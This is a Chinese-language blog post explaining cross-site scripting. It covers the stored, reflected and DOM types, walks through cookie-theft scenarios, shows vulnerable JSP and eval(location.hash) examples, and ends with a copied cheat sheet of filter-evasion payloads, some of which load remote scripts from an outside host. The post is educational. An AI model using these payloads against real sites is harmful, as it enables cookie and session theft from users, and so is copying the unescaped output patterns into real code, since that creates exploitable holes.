什么是XSS?

跨站脚本攻击(Cross Site Scripting):攻击者往Web页面里插入恶意脚本,当用户浏览该页面时,嵌入页面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。恶意的内容通常需要以一段JavaScript的形式发送到浏览器,但也可能包括HTML、Flash,或任何其他类型的浏览器可以执行的代码

XSS的危害通常包括传输私有数据,像cookie或session信息;重定向受害者看到的内容;或在用户的机器上进行恶意操作。

XSS攻击发生的原因:

  1. 数据通过一个未信任的来源进入Web应用中,最常见的是一个web请求
  2. 数据中包含动态文本,然后发送给用户,但是没有校验恶意的文本,如velocity渲染页面

下面博文中有部分是从其他博客中摘取,有部分是从OWASP中翻译,最后整合在一起形成这篇博客,如果觉得还不错,就关注我吧。

XSS 的类型

Stored XSS(存储型XSS)

把用户输入的数据(比如恶意的js代码)存储在服务器端,具有很强的稳定性,危害时间长,每次用户读取这段数据时都会执行一次,所以受害者是很多人。

最典型的攻击场景就是留言板。

其攻击过程如下:

  • Bob拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。
  • Charly注意到Bob的站点具有存储型XXS漏洞。
  • Charly发布一个包含XSS攻击脚本的热点信息,并吸引其它用户纷纷阅读。
  • Bob或者是任何的其他人如Alice浏览该信息,其会话cookies或者其它信息将被Charly盗走。

Reflected XSS(反射型XSS)

反射攻击是通过另一种方式攻击受害者,比如在一封电子邮件。当用户点击了一个恶意链接,将会提交一个特殊的表单,或者仅仅只是浏览恶意网站,注入的代码将反射到攻击用户的浏览器

最典型的攻击场景就是给个恶意链接让你去点。

其攻击过程如下:

  • Alice经常浏览某个网站,此网站为Bob所拥有。Bob的站点运行Alice使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息)。
  • Charly发现Bob的站点包含反射性的XSS漏洞。
  • Charly编写一个利用漏洞的URL,并将其冒充为来自Bob的邮件发送给Alice。
  • Alice在登录到Bob的站点后,浏览Charly提供的URL。

嵌入到URL中的恶意脚本在Alice的浏览器中执行,就像它直接来自Bob的服务器一样。此脚本盗窃敏感信息(授权、信用卡、帐号信息等)然后在Alice完全不知情的情况下将这些信息发送到Charly的Web站点。

DOM Based XSS

这种不是按照存储在哪里来划分的,可以说是反射型的一种,由于历史原因,归为一类,通过改变DOM结构形成的XSS称之为DOM Based。

Example

eg.1 Reflected XSS

<% String eid = request.getParameter("eid"); %> ...Employee ID: <%= eid %>

jsp页面中,我们可能会像上面那样写。

最初这似乎不可能出现的漏洞,因为攻击者不可能用来输入一段而已的代码然后攻击自己的电脑,导致恶意代码运行在自己的电脑。但真正的危险是,攻击者将创建恶意URL,然后使用电子邮件或社会工程学技巧来吸引受害者访问的URL链接。受害者点击链接时,无意中反映了恶意的内容通过脆弱的web应用程序回自己的电脑。这个机制称为反射型XSS攻击

当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫eid的参数直接显示的。 我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址为:http://www.a.com?eid=,当Tom点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把Tom在a.com中的cookie信息发送到b.com,b.com是我搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie信息中可能存有登录密码,攻击成功!这个过程中,受害者只有Tom自己。

eg.2 Stored XSS

<%... Statement stmt = conn.createStatement();ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);if (rs != null) {rs.next(); String name = rs.getString("name");
%>Employee Name: <%= name %>

这段代码功能是显示名字,但这并没有阻止被利用。这段代码相对上一种而言危险更小,因为名字是读取数据库的值。然而,如果名字来源于用户提供的输入,那么数据库可以为恶意内容的一个渠道。没有适当的输入验证数据就存储在数据库中,攻击者可以在用户的web浏览器中执行恶意命令,也就是存储型XSS攻击

a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码,,保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务器上,攻击成功

eg.3 DOM Based XSS

http://www.a.com/xss/domxss.html页面中代码如下:

<script>
eval(location.hash.substr(1));
</script>

触发方式为:http://www.a.com/xss/domxss.html#alert(1)

网站是否会遭受XSS攻击?

XSS漏洞很难被识别或从一个web应用程序删除。发现缺陷的最好方法是进行代码的安全审查和搜索所有从HTTP请求输入且有可能使其输出到页面的代码,并对这些代码进行相应的处理。

注意,可以使用各种不同的HTML标记传输恶意JavaScript。Nessus Nikto,和其他一些可用的工具可以帮助扫描一个网站的这些缺陷,但却只是完成表面功夫。如果一个网站的某一部分是脆弱的,那么极有可能还有其他问题。

防御XSS的具体措施

将在下一篇博客中写出

XSS攻击方式清单

下面的清单是网上比较流行的攻击方案, 我摘取了部分。
我们从中可以看到多种多样的攻击方式,因此要防御XSS攻击需要考虑很多种情况。

(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG标签XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(3)IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>
(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
(5)HTML编码(必须有分号)
<IMG SRC=javascript:alert(“XSS”)>
(11)嵌入式标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(12)嵌入式编码标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(13)嵌入式换行符
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(14)嵌入式回车
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=”javascript:alert(‘XSS‘)”>
(23)双开括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
(26)半开的HTML/JavaScript XSS
<IMG SRC=”javascript:alert(‘XSS’)”
(27)双开角括号
<iframe src=http://3w.org/XSS.html <
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
(29)换码过滤的JavaScript
\”;alert(‘XSS’);//
(37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
(38)远程样式表
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
(41)META链接url
<META HTTP-EQUIV=”refresh” CONTENT=”0;
URL=http://;URL=javascript:alert(‘XSS’);”>
(42)Iframe
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board
https://www.t00ls.net/viewthread.php?action=printable&tid=15267 3/6
(44)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
(45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
(46)DIV background-image
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
CLASS=XSS></A>
(53)STYLE background
<STYLE><STYLE
type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
(54)BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
(56)在flash中使用ActionScrpt可以混进你XSS的代码
a=”get”;
b=”URL(\”";
c=”javascript:”;
d=”alert(‘XSS’);\”)”;
eval_r(a+b+c+d);
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
<SCRIPT SRC=””></SCRIPT>
(59)IMG嵌入式命令,可执行任意命令
<IMG SRC=”http://www.XXX.com/a.php?a=b”>

  

转载注明出处:http://blog.bensonlin.me/post/xss-overview 或 http://www.cnblogs.com/lzb1096101803/p/5770087.html

转载于:https://www.cnblogs.com/lzb1096101803/p/5770087.html

XSS Overview相关推荐

  1. 安全测试之xss攻击和mysql注入

    xss概念: xss(Cross Site Script)跨站脚本攻击,为不和层叠样式表(css)混淆,写为xss 存在位置:web应用系统最常见软件安全漏洞 后果:代码植入到系统页面,篡改数据.盗取 ...

  2. jQuery.append()、jQuery.html()存在的XSS漏洞

    使用jQuery.append().jQuery.html()方法时,如果其中内容包含<script>脚本而没有经过任何处理的话,会执行它. 简单的示例代码如下: 1 var xssStr ...

  3. 跨站脚本攻击(XSS)FAQ

    原作者charlee.原始链接http://tech.idv2.com/2006/08/30/xss-faq/以及本声明. 该文章简单地介绍了XSS的基础知识及其危害和预防方法.Web开发人员的必读. ...

  4. Overview of ISA and TMG Networking and ISA Networking Case Study (Part 1)

             老方说:此篇文章摘自ISASERVER.ORG网站,出自Thomas Shinder达人之手.严重建议ISA爱好者看看. Published: Dec 16, 2008 Update ...

  5. 首次成功实施 XSS 攻击,盗取目标网站大量 VIP 帐号

    前言 之前做网站时有做代码防御 XSS(Cross Site Script) 攻击,但是却只处于了解的阶段,并不知道其中具体的原理,更别说使用了.最近有朋友要求我帮助他 Hack 一个网站,达到一定的 ...

  6. 论文: Data-Driven Evolutionary Optimization: An Overview and case studies(1) 数据驱动概念,文章结构,大数分类

    声明: 只作为自己阅读论文的相关笔记记录,理解有误的地方还望指正  论文下载链接: https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumb ...

  7. vue 如何防止xss攻击 框架_LearningNotes-1/Vue/Vue中防止XSS脚本攻击 at master · axuu/LearningNotes-1 · GitHub...

    Vue中防止XSS脚本攻击 最近写了一个博客评论模块,因为引入了表情包,所以就将原来的v-text的形式,改成了v-html,也就是渲染html标签,但是这样不可不免的会带来问题,就是XSS跨站脚本攻 ...

  8. 安全测试之XSS攻击

    XSS (跨站脚本攻击)是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS.是一种网站应用程序的安全漏洞攻击,是代码注入的一种.它允许恶意用户将代码 ...

  9. AntiXSS - 支持Html同时防止XSS攻击

    跨站脚本攻击(XSS)已经不是什么新鲜的话题了,甚至很多大公司也为此吃尽苦头.最简单直接的防范方法,就是不允许任何html标签输入,对用户输入进行编码(htmlencode). 但是如果想用户输入支持 ...

最新文章

  1. windows和linux文件的转换
  2. 全球及中国奢华高档服装行业发展规划及投资价值评估报告2021年版
  3. 11-Qt6 QByteArray字节数组类
  4. 【问链-Eos公开课】第二课 EOS环境搭建(Ubuntu系统下)
  5. mac securecrt程序无响应_终端仿真软件SecureCRT和Xshell,让运维工作更轻松
  6. Visual.Assist.X.V10.7.1946的汉化破解补丁
  7. 【Tensorflow】深度学习实战02——Tensorflow实现进阶的卷积网络(CIFAR-10)
  8. 【yarn】INFO ipc.Client Retrying connect to server xxx 8032 Already tried 0 time(s)
  9. jq 和java 多张图片_JQ实现多图片预览和单图片预览
  10. 最近发现一个小生意非常不错
  11. Stanford机器学习---第八讲. 支持向量机SVM
  12. Activity常用设置
  13. java array to list iterator_Iterator to list的三种方法
  14. c语言fprintf段错误,fprintf由于突然地址更改导致段错误
  15. android 厨房的使用方法,安卓ROM厨房定制工具使用教程
  16. 多项式的各类计算(多项式的逆/开根/对数/exp/带余除法/多点求值)
  17. cad调了比例因子没反应_「室内设计」大神们都在用的9个CAD制图技巧,你会用几个?...
  18. mysql悲观锁for update
  19. 机器人瓦力 配乐_浅析《机器人瓦力》的电影配乐
  20. 在Flex Chart 中绘制3D图表

热门文章

  1. HTML如何变换背景图片,javascript如何更改网页背景图片?
  2. Unable to boot device because it cannot be located on disk. Domain: NSPOSIXErrorDomain
  3. [Java]Spring Ioc讲解,不怕你不懂
  4. ellipse函数用法
  5. Observability:Data pipeline:Beats => Redis => Logstash => Elasticsearch
  6. Unity Shader PostProcessing - 8 - Bloom 泛光
  7. mysql crud,mysql的CRUD操作实现
  8. Pokeman.csv 处理(Python)
  9. shell脚本之正则表达式
  10. springboot 官网首页